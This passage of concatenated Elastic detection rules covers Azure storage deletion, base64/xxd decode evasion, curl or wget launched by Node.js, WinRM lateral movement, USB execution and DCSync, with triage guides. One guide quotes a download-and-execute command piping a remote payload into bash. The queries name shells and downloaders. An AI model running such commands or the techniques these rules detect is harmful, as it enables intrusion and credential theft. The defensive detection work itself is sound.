- Attempt to recover deleted storage accounts if soft-delete is enabled, or restore data from backups for critical storage accounts.
- Review and audit all Azure RBAC permissions to identify how the attacker gained storage account deletion capabilities (requires Contributor or Owner role).
- Conduct a full security assessment to identify the initial access vector and any other compromised accounts or resources.
- Implement Azure Resource Locks on all critical storage accounts to prevent accidental or malicious deletion.
- Configure Azure Policy to require approval workflows for storage account deletions using Azure Blueprints or custom governance solutions.
- Enable Azure Activity Log alerts to notify security teams immediately when storage accounts are deleted.
- Escalate the incident to the security operations center (SOC) or incident response team for investigation of potential broader compromise.
- Document the incident and update security policies, playbooks, and procedures to prevent similar incidents in the future.
"""
references = [
    "https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/",
]
risk_score = 73
rule_id = "b2c3d4e5-6f7a-8b9c-0d1e-2f3a4b5c6d7e"
severity = "high"
tags = [
    "Domain: Cloud",
    "Domain: Storage",
    "Data Source: Azure",
    "Data Source: Azure Activity Logs",
    "Use Case: Threat Detection",
    "Tactic: Impact",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "threshold"

query = '''
data_stream.dataset: azure.activitylogs and
    azure.activitylogs.operation_name: "MICROSOFT.STORAGE/STORAGEACCOUNTS/DELETE" and
    azure.activitylogs.identity.claims_initiated_by_user.name: *
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1485"
name = "Data Destruction"
reference = "https://attack.mitre.org/techniques/T1485/"

[[rule.threat.technique]]
id = "T1489"
name = "Service Stop"
reference = "https://attack.mitre.org/techniques/T1489/"


[rule.threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"

[rule.threshold]
field = ["azure.activitylogs.identity.claims_initiated_by_user.name"]
value = 1

[[rule.threshold.cardinality]]
field = "azure.resource.name"
value = 5

[rule]
description = """
This rule detects when a process executes the base64 or xxd command with arguments that are atypical for decoding data,
but are capable of decoding data. This may indicate an attempt to evade detection while decoding data.
"""
id = "789f8a41-00cb-40cb-b41f-c2e1611b1245"
license = "Elastic License v2"
name = "Base64 or Xxd Decode Argument Evasion"
os_list = ["linux"]
version = "1.0.3"

query = '''
process where event.type == "start" and event.action == "exec" and (
  (process.name == "base64" and process.args : "*-*d* " and not process.args in (
    "-d", "--decode", "--encode", "-rand", "-di"
  )) or
  (process.name == "xxd" and process.args : "-p* " and process.args : "-r* " and not process.args in ("-p", "-r"))
)
'''

min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"


[[threat.technique]]
id = "T1204"
name = "User Execution"
reference = "https://attack.mitre.org/techniques/T1204/"
[[threat.technique.subtechnique]]
id = "T1204.002"
name = "Malicious File"
reference = "https://attack.mitre.org/techniques/T1204/002/"



[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1027"
name = "Obfuscated Files or Information"
reference = "https://attack.mitre.org/techniques/T1027/"

[[threat.technique]]
id = "T1140"
name = "Deobfuscate/Decode Files or Information"
reference = "https://attack.mitre.org/techniques/T1140/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "7.15.0"

[metadata]
creation_date = "2025/09/18"
integration = ["endpoint", "windows", "system", "sentinel_one_cloud_funnel", "crowdstrike", "auditd_manager"]
maturity = "production"
updated_date = "2026/04/07"

[rule]
author = ["Elastic"]
description = """
This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate
command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto
the system.
"""
from = "now-9m"
index = [
    "endgame-*",
    "logs-crowdstrike.fdr*",
    "logs-endpoint.events.process-*",
    "logs-sentinel_one_cloud_funnel.*",
    "logs-system.security*",
    "logs-windows.forwarded*",
    "logs-windows.sysmon_operational-*",
    "winlogbeat-*",
    "auditbeat-*",
    "logs-auditd_manager.auditd-*"
]
language = "eql"
license = "Elastic License v2"
name = "Curl or Wget Spawned via Node.js"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Curl or Wget Spawned via Node.js

This rule flags Node.js launching curl or wget, directly or via a shell, a common technique to fetch payloads and enable command-and-control. Attackers often abuse child_process in Node apps to run "curl -sL http://host/payload.sh | bash," pulling a second stage from a remote host and executing it immediately under the guise of legitimate application activity.

### Possible investigation steps

- Pull the full process tree and command line to extract URLs/domains, flags (e.g., -sL, -O, --insecure), and identify whether the output is piped into an interpreter, indicating immediate execution risk.
- Correlate with file system activity to find newly created or modified artifacts (e.g., in /tmp, /var/tmp, /dev/shm, or the app directory), then hash and scan them and check for follow-on executions.
- Pivot to network telemetry to enumerate connections around the event from both Node.js and the child process, assessing destination reputation (IP/domain, ASN, geo, cert/SNI) against approved update endpoints.
- Trace the initiating Node.js code path and deployment (child_process usage such as exec/spawn/execFile), and review package.json lifecycle scripts and recent npm installs or postinstall hooks for unauthorized download logic.
- Verify user and runtime context (service account/container/pod), inspect environment variables like HTTP(S)_PROXY/NO_PROXY, and check whether credentials or tokens were passed to curl/wget to assess exposure.

### False positive analysis

- A legitimate Node.js service executes curl or wget to retrieve configuration files, certificates, or perform health checks against approved endpoints during startup or routine operation.
- Node.js install or maintenance scripts use a shell with -c to run curl or wget and download application assets or updates, triggering the rule even though this aligns with expected deployment workflows.

### Response and remediation

- Immediately isolate the affected host or container, stop the Node.js service that invoked curl/wget (and any parent shell), terminate those processes, and block the exact URLs/domains/IPs observed in the command line and active connections.
- Quarantine and remove any artifacts dropped by the downloader (e.g., files in /tmp, /var/tmp, /dev/shm or paths specified by -O), delete added cron/systemd entries referencing those files, and revoke API tokens or credentials exposed in the command line or headers.
- Escalate to full incident response if output was piped to an interpreter (curl ... | bash or wget ... | sh), if --insecure/-k or self-signed endpoints were used, if unknown external infrastructure was contacted, or if secrets were accessed or exfiltrated.
- Rebuild and redeploy the workload from a known-good image, remove the malicious child_process code path from the Node.js application, restore validated configs/data, rotate any keys or tokens used by that service, and verify no further curl/wget spawns occur post-recovery.
- Harden by removing curl/wget from runtime images where not required, enforcing egress allowlists for the service, constraining execution with AppArmor/SELinux/seccomp and least-privilege service accounts, and adding CI/CD checks to block package.json postinstall scripts or code that shells out to downloaders.
"""
risk_score = 47
rule_id = "d9af2479-ad13-4471-a312-f586517f1243"
setup = """## Setup

This rule requires data coming in from Elastic Defend.

### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.

#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).

#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
"""
severity = "medium"
tags = [
  "Domain: Endpoint",
  "OS: Linux",
  "OS: Windows",
  "OS: macOS",
  "Use Case: Threat Detection",
  "Tactic: Command and Control",
  "Resources: Investigation Guide",
  "Data Source: Elastic Defend",
  "Data Source: Elastic Endgame",
  "Data Source: Windows Security Event Logs",
  "Data Source: Sysmon",
  "Data Source: SentinelOne",
  "Data Source: Crowdstrike",
  "Data Source: Auditd Manager",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where event.type == "start" and
event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and
process.parent.name in ("node", "bun", "node.exe", "bun.exe") and (
(
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "cmd.exe", "bash.exe", "powershell.exe") and
  process.command_line like~ ("*curl*http*", "*wget*http*")
) or 
(
  process.name in ("curl", "wget", "curl.exe", "wget.exe")
)
) and not (
  process.command_line like ("*127.0.0.1*", "*localhost*", "*/home/*/.claude/shell-snapshots/*", "*/root/.claude/shell-snapshots/snapshot*", "*/Users/*/.claude/shell-snapshots/*") or
  process.parent.executable like ("/*/.cursor-server/*node", "/home/*/cursor-agent/*/node") 
)
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1071"
name = "Application Layer Protocol"
reference = "https://attack.mitre.org/techniques/T1071/"

[[rule.threat.technique.subtechnique]]
id = "T1071.001"
name = "Web Protocols"
reference = "https://attack.mitre.org/techniques/T1071/001/"

[[rule.threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"

[rule.threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

[metadata]
creation_date = "2023/07/12"
integration = ["windows"]
maturity = "production"
updated_date = "2026/03/24"

[rule]
author = ["Elastic"]
building_block_type = "default"
description = """
Identifies the use of Cmdlets and methods related to remote execution activities using WinRM. Attackers can abuse WinRM
to perform lateral movement using built-in tools.
"""
from = "now-119m"
index = ["winlogbeat-*", "logs-windows.powershell*"]
interval = "60m"
language = "kuery"
license = "Elastic License v2"
name = "Deprecated - PowerShell Script with Remote Execution Capabilities via WinRM"
references = [
    "https://attack.mitre.org/techniques/T1021/006/",
    "https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/LateralMovement/PowerShellRemoting.cs",
    "https://github.com/BC-SECURITY/Empire/blob/main/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py",
]
risk_score = 21
rule_id = "0abf0c5b-62dd-48d2-ac4e-6b43fe3a6e83"
setup = """## Setup

PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104).
Setup instructions: https://ela.st/powershell-logging-setup
"""
severity = "low"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Lateral Movement",
    "Tactic: Execution",
    "Data Source: PowerShell Logs",
    "Rule Type: BBR",
]
timestamp_override = "event.ingested"
type = "query"

query = '''
event.category:process and host.os.type:windows and
  powershell.file.script_block_text : (
    ("Invoke-WmiMethod" or "Invoke-Command" or "Enter-PSSession") and "ComputerName"
  ) and
  not user.id : "S-1-5-18" and
  not file.directory : (
    "C:\\Program Files\\LogicMonitor\\Agent\\tmp" or
    "C:\\Program Files\\WindowsPowerShell\\Modules\\icinga-powershell-framework\\cache" or
    "C:\\Program Files\\WindowsPowerShell\\Modules\\SmartCardTools\\1.2.2"
  ) and not
  powershell.file.script_block_text : (
    "Export-ModuleMember -Function @('Invoke-Expression''Invoke-Command')" and
    "function Invoke-Command {"
  )
'''


[[rule.filters]]

[rule.filters.meta]
negate = true
[rule.filters.query.wildcard."file.path"]
case_insensitive = true
value = "?:\\\\Program Files\\\\WindowsPowerShell\\\\Modules\\\\dbatools\\\\*\\\\allcommands.ps1"
[[rule.filters]]

[rule.filters.meta]
negate = true
[rule.filters.query.wildcard."file.directory"]
case_insensitive = true
value = "?:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\*\\\\bin"
[[rule.filters]]

[rule.filters.meta]
negate = true
[rule.filters.query.wildcard."file.directory"]
case_insensitive = true
value = "?:\\\\ExchangeServer\\\\bin*"
[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1021"
name = "Remote Services"
reference = "https://attack.mitre.org/techniques/T1021/"

[[rule.threat.technique.subtechnique]]
id = "T1021.006"
name = "Windows Remote Management"
reference = "https://attack.mitre.org/techniques/T1021/006/"

[rule.threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1047"
name = "Windows Management Instrumentation"
reference = "https://attack.mitre.org/techniques/T1047/"

[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"

[[rule.threat.technique.subtechnique]]
id = "T1059.001"
name = "PowerShell"
reference = "https://attack.mitre.org/techniques/T1059/001/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

[rule]
description = """
Identifies attempts to hide Windows Command Console Window. Adversaries may use DeviceCredentialDeployment to evade user
suspicion.
"""
id = "6c8c6292-a7f0-49b3-9c24-f4147ad7b860"
license = "Elastic License v2"
name = "Evasion via Device Credential Deployment"
os_list = ["windows"]
reference = ["https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/"]
version = "1.0.8"

query = '''
process where event.action == "start" and
 (
  (process.name : "cmd.exe" and process.command_line : "*DeviceCredentialDeployment*") or
  ((process.pe.original_file_name : "\"DeviceCredentialDeployment.exe\"" or process.name : "DeviceCredentialDeployment.exe") and
    process.parent.name : ("cmd.exe", "powershell.exe"))
 )
'''

min_endpoint_version = "7.16.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1218"
name = "System Binary Proxy Execution"
reference = "https://attack.mitre.org/techniques/T1218/"
[[threat.technique.subtechnique]]
id = "T1218.011"
name = "Rundll32"
reference = "https://attack.mitre.org/techniques/T1218/011/"



[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "7.16.0"

[metadata]
creation_date = "2023/09/27"
integration = ["endpoint"]
maturity = "production"
updated_date = "2026/05/04"

[rule]
author = ["Elastic"]
description = """
Identifies process execution from a removable media and by an unusual process. Adversaries may move onto systems,
possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of
Autorun features when the media is inserted into a system and executes.
"""
from = "now-9m"
index = ["logs-endpoint.events.process-*", "logs-endpoint.events.network-*"]
language = "eql"
license = "Elastic License v2"
name = "Execution from a Removable Media with Network Connection"
risk_score = 21
rule_id = "1542fa53-955e-4330-8e4d-b2d812adeb5f"
severity = "low"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Initial Access",
    "Data Source: Elastic Defend",
    "Resources: Investigation Guide",
]
type = "eql"

query = '''
sequence by process.entity_id with maxspan=5m
 [process where host.os.type == "windows" and event.action == "start" and

  /* Direct Exec from USB */
  (process.Ext.device.bus_type : "usb" or process.Ext.device.product_id : "USB *") and
  (process.code_signature.trusted == false or process.code_signature.exists == false) and

  not process.code_signature.status : ("errorExpired", "errorCode_endpoint*")]
 [network where host.os.type == "windows" and event.action == "connection_attempted"]
'''

setup = """## Setup

This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.

Setup instructions: https://ela.st/install-elastic-defend
"""

note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Execution from a Removable Media with Network Connection

Removable media, like USB drives, are often used for data transfer but can be exploited by adversaries to introduce malware into isolated systems. Attackers may leverage autorun features to execute malicious code upon insertion. The detection rule identifies suspicious process executions from USB devices, especially those lacking valid code signatures, and correlates them with network connection attempts, signaling potential unauthorized access efforts.

### Possible investigation steps

- Review the process execution details, focusing on the process.entity_id to identify the specific process that was executed from the USB device.
- Check the process.Ext.device.bus_type and process.Ext.device.product_id fields to confirm the involvement of a USB device and gather information about the specific device used.
- Investigate the process.code_signature fields to determine if the process lacks a valid code signature, which could indicate malicious intent.
- Correlate the process execution with network connection attempts by examining the network event logs, particularly looking for any unusual or unauthorized connection attempts.
- Assess the context of the network connection attempt, including the destination IP address and port, to evaluate the potential risk and intent of the connection.
- Gather additional context by reviewing recent activity on the host, such as other process executions or file modifications, to identify any further signs of compromise.
- If necessary, isolate the affected system to prevent further unauthorized access or data exfiltration while continuing the investigation.

### False positive analysis

- Legitimate software installations from USB drives may trigger the rule. To manage this, create exceptions for known software installers by verifying their code signatures and adding them to an allowlist.
- IT administrators often use USB devices for system updates or maintenance. Identify and exclude these activities by correlating them with known administrator accounts or devices.
- Some organizations use USB devices for regular data transfers. Establish a baseline of normal USB activity and exclude these patterns from triggering alerts.
- Devices with expired but previously trusted code signatures might be flagged. Regularly update the list of trusted certificates and exclude processes with known expired signatures that are still considered safe.
- Network connection attempts by legitimate applications running from USB drives can be mistaken for threats. Monitor and document these applications, then configure exceptions based on their process names and network behavior.

### Response and remediation

- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.
- Disable autorun features on all systems to prevent automatic execution of potentially malicious code from removable media.
- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malware.
- Review and block any suspicious network connections originating from the affected system to prevent communication with potential command and control servers.
- Collect and preserve relevant logs and forensic evidence from the affected system and removable media for further analysis and potential legal action.
- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine if other systems may be affected.
- Implement enhanced monitoring and alerting for similar activities, focusing on process executions from removable media and unauthorized network connection attempts."""


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1091"
name = "Replication Through Removable Media"
reference = "https://attack.mitre.org/techniques/T1091/"


[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"

[metadata]
creation_date = "2022/12/19"
integration = ["windows", "system"]
maturity = "production"
updated_date = "2026/04/22"

[rule]
author = ["Elastic"]
description = """
This rule identifies when a User Account starts the Active Directory Replication Process for the first time. Attackers
can use the DCSync technique to get credential information of individual accounts or the entire domain, thus
compromising the entire domain.
"""
from = "now-9m"
index = ["winlogbeat-*", "logs-system.security*", "logs-windows.forwarded*"]
language = "kuery"
license = "Elastic License v2"
name = "First Time Seen Account Performing DCSync"
references = [
    "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html",
    "https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing",
    "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_ad_replication_non_machine_account.yml",
    "https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0027_windows_audit_directory_service_access.md",
    "https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync",
    "https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync",
]
risk_score = 73
rule_id = "5c6f4c58-b381-452a-8976-f1b1c6aa0def"
severity = "high"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Credential Access",
    "Tactic: Privilege Escalation",
    "Use Case: Active Directory Monitoring",
    "Data Source: Active Directory",
    "Resources: Investigation Guide",
    "Data Source: Windows Security Event Logs",
]
timestamp_override = "event.ingested"
type = "new_terms"

query = '''
event.code:"4662" and host.os.type:"windows" and 
  winlog.event_data.Properties:(
    *DS-Replication-Get-Changes* or *DS-Replication-Get-Changes-All* or
    *DS-Replication-Get-Changes-In-Filtered-Set* or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* or
    *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* or *89e95b76-444d-4c62-991a-0facbeda640c*) and
  not winlog.event_data.SubjectUserName:(*$ or MSOL_*)
'''

note = """## Triage and analysis

### Investigating First Time Seen Account Performing DCSync

#### Possible investigation steps

- What did the alerted 4662 prove about the subject and replication request?
  - Focus: `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.Properties`, `winlog.event_data.AccessMask`, and `winlog.computer_name`.
  - Hint: replication-right GUIDs map to `DS-Replication-Get-Changes` (`1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`), `DS-Replication-Get-Changes-All` (`1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`), and `DS-Replication-Get-Changes-In-Filtered-Set` (`89e95b76-444d-4c62-991a-0facbeda640c`).
  - Implication: escalate faster when a human admin, new service account, or other non-machine principal used Control Access with DS-Replication-Get-Changes rights; lower suspicion only when the same stable SID and controller match one recognized directory-replication connector or AD backup/recovery job.

- Do the 4662 object-access details show domain-wide replication or access to especially sensitive naming contexts?
  - Why: DCSync stands out when the event shows replication extended rights plus access to the domain root or other high-value directory objects.
  - Focus: `winlog.event_data.Properties`, `winlog.event_data.AccessMask`, `winlog.event_data.ObjectName`, and `winlog.event_data.ObjectType`.
  - Hint: treat the domain naming context or root DN, such as `DC=corp,DC=example,DC=com`, as broader and higher risk; interpret Configuration, DomainDNSZones, ForestDNSZones, or specific object paths against the exact connector or job workflow before lowering severity.
  - Implication: escalate on broad domain naming-context, high-value object, or DS-Replication-Get-Changes-All / In-Filtered-Set scope because the request can expose domain secrets; lower suspicion only when the same rights and object scope fit the exact connector workflow from step 1.

- Does the subject logon session resolve to another domain controller or an unexpected source system?
  - Focus: match `winlog.event_data.SubjectLogonId` to 4624 `winlog.event_data.TargetLogonId` on the same `host.id`, then read `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. $investigate_0
  - Range: search backward from `@timestamp` on the same `host.id` because the session-creating 4624 can predate the 4662 by minutes or hours.
  - Hint: if the linked 4624 is missing or `source.ip` is absent, preserve `winlog.event_data.SubjectLogonId`, `winlog.computer_name`, and `@timestamp`. Missing authentication telemetry is unresolved, not benign.
  - Implication: escalate when the session originates from a workstation, member server, rare admin host, or a DC interactive / remote-interactive logon; lower suspicion when the 4624 source, logon type, and auth package match recognized replication infrastructure.

- Do surrounding authentication events show explicit-credential use or a session pattern that does not fit routine replication?
  - Why: stolen or relayed credentials often leave 4624 or 4648 context riskier than the 4662 event alone.
  - Focus: linked 4624 events where `winlog.event_data.TargetLogonId` matches the alerted `winlog.event_data.SubjectLogonId`, plus 4648 events for the same session; read `source.ip`, `winlog.logon.type`, `winlog.event_data.AuthenticationPackageName`, and `winlog.event_data.TargetServerName`.
  - Hint: 4648 means credentials were presented, not that the replication succeeded; missing linked authentication telemetry is unresolved, not benign.
  - Implication: escalate when the subject shows new remote-interactive or network sessions from unusual origins, explicit credentials for the alerted account or controller, or NTLM where the workflow normally uses Kerberos.

- Did surrounding directory-object changes or related 4662 activity show how the account obtained or expanded replication rights?
  - Focus: surrounding 4662 activity for `winlog.event_data.SubjectUserSid`, plus 5136 changes using `winlog.event_data.ObjectDN`, `winlog.event_data.AttributeLDAPDisplayName`, `winlog.event_data.AttributeValue`, and `winlog.event_data.OpCorrelationID`. $investigate_1
  - Hint: group related 5136 records by `winlog.event_data.OpCorrelationID`; if 5136 visibility is absent, preserve the gap and answer from surrounding 4662 activity.
  - Implication: escalate when 5136 shows recent ACL or delegation changes granting DS-Replication-Get-Changes rights to the subject or its groups, when another grantor touched sensitive delegation or domain-level objects, or when privileged 4662 access appears on multiple controllers.

- If local evidence is still suspicious, did the same subject or replication-right scope touch other controllers?
  - Focus: Windows Security 4662 and 5136 records for `winlog.event_data.SubjectUserSid` and `winlog.event_data.Properties`, grouped by `winlog.computer_name` and `winlog.event_data.ObjectName`.
  - Range: start with the surrounding window, then expand only if the local subject, source, or rights scope remains suspicious.
  - Implication: escalate domain-wide when the same subject or rights scope appears on multiple controllers or directory objects; keep scope local when only this controller shows activity, but do not close unresolved DCSync evidence from absence alone.

- Based on the evidence gathered, what disposition is supported?
  - Focus: identity, replication scope, session origin, authentication pattern, directory-rights changes, and controller spread.
  - Implication: escalate when those categories show an unrecognized subject, broad scope, unexpected source, explicit-credential use, or privilege changes; close only when alert-local evidence plus supported recovery tightly bind one exact directory-replication connector or AD backup/recovery job, with outside confirmation when telemetry alone cannot prove legitimacy; preserve and escalate if evidence is mixed or incomplete.

### False positive analysis

- Directory-replication connectors and AD backup/recovery jobs can legitimately trigger this rule. Confirm only when `winlog.event_data.SubjectUserSid`, `winlog.event_data.Properties`, `winlog.event_data.ObjectName`, recovered 4624 `source.ip`, and `winlog.computer_name` align to one exact connector or job run. For backup/recovery tooling, require 5136 or owner/product evidence that the activity was tool-driven rather than hands-on operator behavior. If telemetry cannot prove the workflow, require outside confirmation for that exact run; do not close from prior-alert recurrence alone.
- Build exceptions from the minimum confirmed workflow: stable `winlog.event_data.SubjectUserSid`, recovered 4624 `source.ip`, `winlog.event_data.Properties`, `winlog.event_data.ObjectName`, and `winlog.computer_name`, plus the specific product or connector identity that explains the access. Avoid exceptions on `winlog.event_data.SubjectUserName` alone, broad replication-right strings, or "first benign occurrence" claims without exact workflow confirmation.

### Response and remediation

- If confirmed benign, reverse temporary containment and document the exact evidence that validated the directory-replication connector or AD backup/recovery job: subject SID, connector source, replication rights, object scope, controller, and confirming product or owner record. Create an exception only from those same workflow anchors.
- If suspicious but unconfirmed, preserve a case export containing the triggering 4662 event, linked 4624/4648 authentication records, recovered `source.ip`, replication rights/object fields, and any 5136 delegation-change records before containment. Apply reversible containment first, such as temporarily blocking the recovered `source.ip` from reaching domain controllers or isolating the unexpected non-domain-controller source host when its role tolerates isolation. Escalate to broader account disablement or host isolation only if credential-theft, relay, or privilege-change evidence appears.
- If confirmed malicious, use endpoint or identity-response tooling to isolate the unexpected source host and disable or reset the implicated account. If direct response is unavailable, escalate with the same artifact set to the AD or incident-response team. Record all preserved evidence before terminating processes, revoking access, or removing delegated rights.
- If confirmed malicious activity included broad domain scope in `winlog.event_data.ObjectName` or `winlog.event_data.ObjectType`, hand off to the AD incident-response team with the preserved evidence before privileged-account resets or delegated-rights cleanup.
- Review other controllers and sync hosts for the same `winlog.event_data.SubjectUserSid`, `source.ip`, and `winlog.event_data.Properties` before removing delegated rights or cleaning up changes.
- Eradicate only the unauthorized replication-right delegation or directory changes identified during the investigation: remove "DS-Replication-Get-Changes*" grants, restore modified directory objects or ACLs, and remediate the path that let the subject obtain replication capability.
- Post-incident hardening: restrict replication rights to authorized service accounts and sync hosts, retain Security 4662, 4624, 4648, and 5136 coverage on controllers, and document any uncovered variant or logging gap in the incident record for follow-up ownership.
"""

setup = """## Setup

Audit Directory Service Access must be enabled to generate the events used by this rule.
Setup instructions: https://ela.st/audit-directory-service-access
"""

[rule.investigation_fields]
field_names = [
    "@timestamp",
    "host.id",
    "winlog.computer_name",
    "winlog.event_data.SubjectUserName",
    "winlog.event_data.SubjectUserSid",
    "winlog.event_data.SubjectDomainName",
    "winlog.event_data.SubjectLogonId",
    "winlog.event_data.ObjectName",
    "winlog.event_data.ObjectType",
    "winlog.event_data.Properties",
    "winlog.event_data.AccessMask",
    "winlog.event_data.OpCorrelationID",
]

[[transform.investigate]]
label = "Authentication events for the subject logon session"
description = ""
providers = [
  [
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "event.code", queryType = "phrase", value = "4624", valueType = "string" },
    { excluded = false, field = "winlog.event_data.TargetLogonId", queryType = "phrase", value = "{{winlog.event_data.SubjectLogonId}}", valueType = "string" }
  ],
  [
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "event.code", queryType = "phrase", value = "4648", valueType = "string" },
    { excluded = false, field = "winlog.event_data.SubjectLogonId", queryType = "phrase", value = "{{winlog.event_data.SubjectLogonId}}", valueType = "string" }
  ]
]
relativeFrom = "now-24h"
relativeTo = "now"

[[transform.investigate]]
label = "Directory replication and rights events for the subject"
description = ""
providers = [
  [
    { excluded = false, field = "event.code", queryType = "phrase", value = "4662", valueType = "string" },
    { excluded = false, field = "winlog.event_data.SubjectUserSid", queryType = "phrase", value = "{{winlog.event_data.SubjectUserSid}}", valueType = "string" },
    { excluded = false, field = "winlog.event_data.Properties", queryType = "phrase", value = "DS-Replication-Get-Changes", valueType = "string" }
  ],
  [
    { excluded = false, field = "event.code", queryType = "phrase", value = "4662", valueType = "string" },
    { excluded = false, field = "winlog.event_data.SubjectUserSid", queryType = "phrase", value = "{{winlog.event_data.SubjectUserSid}}", valueType = "string" },
    { excluded = false, field = "winlog.event_data.Properties", queryType = "phrase", value = "DS-Replication-Get-Changes-All", valueType = "string" }
  ],
  [
    { excluded = false, field = "event.code", queryType = "phrase", value = "4662", valueType = "string" },
    { excluded = false, field = "winlog.event_data.SubjectUserSid", queryType = "phrase", value = "{{winlog.event_data.SubjectUserSid}}", valueType = "string" },
